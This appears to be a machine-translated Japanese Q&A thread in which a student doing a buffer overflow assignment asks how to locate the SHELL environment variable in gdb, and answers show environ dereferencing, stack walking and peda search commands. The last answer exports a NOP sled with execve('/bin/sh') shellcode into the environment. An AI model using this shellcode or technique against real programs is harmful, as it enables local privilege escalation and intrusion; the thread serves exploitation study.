web-dev-qa-db-ja.com

バッファオーバーフローを悪用するためのgdbを使用した環境変数の検索

割り当てのために脆弱なC++プログラムの非常に単純なバッファオーバーフローを悪用する必要があり、環境変数Shellを見つけることができません。

私はこれまでBoFで作業したことがなく、多くの同様の質問、投稿などを読んだ後、この情報を入手しました(間違っている場合は修正してください)。

  • プログラムは、environというグローバル変数に環境変数を格納します
  • 私はこのようにこの変数のアドレスを見つけることができます:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • シェルを起動するには、その変数で/bin/bash文字列を見つける必要があります(すでにシステムアドレスと終了アドレスを取得しているので、シェルへのルートだけが必要です)。そして、ここは私が何をすべきかわからないところです。私はgdbチュートリアルを読んでいますが、まだ何もしていません。 x/s 0xb7fd1b00は、何も出力しません。

12
Palantir

environchar **environ型であるため、ポインターへのポインターです。

あなたは次のようなことを試す必要があります:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • 環境変数は、ベースポインター(%ebp)から16バイトです。
  • メイン関数にブレークポイントを入れてこれを行います、

(gdb)x/wx $ ebp + 0x10
0xffffd3f8:0xffffd48c
(gdb)x/wx 0xffffd48c
0xffffd48c:0xffffd67e
(gdb)x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb)(gdb)x/wx 0xffffd48c + 4
0xffffd490:0xffffd6b2
(gdb)x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/ etc/xdg/xdg-Lubuntu:/ usr/share/upstart/xdg:/ etc/xdg"

このブログを参照

4
h1dd3ntru7h

peda がgdbにインストールされている場合、これをgdbに入力するだけです。

gdb-peda$ searchmem Shell

出力は次のようになります

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

また、gdbにpedaがインストールされている場合は、「refsearch variable_name」だけを使用できます。

例:

まず、変数(Shellcodeなど)を環境に追加する必要があります。

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

次に、サンプルプログラムでgdbを開き、メインを中断して実行します。

プログラムがブレークポイントで一時停止すると、次のコマンドで環境アドレスを検索できます。

refsearchシェルコード

0
user147694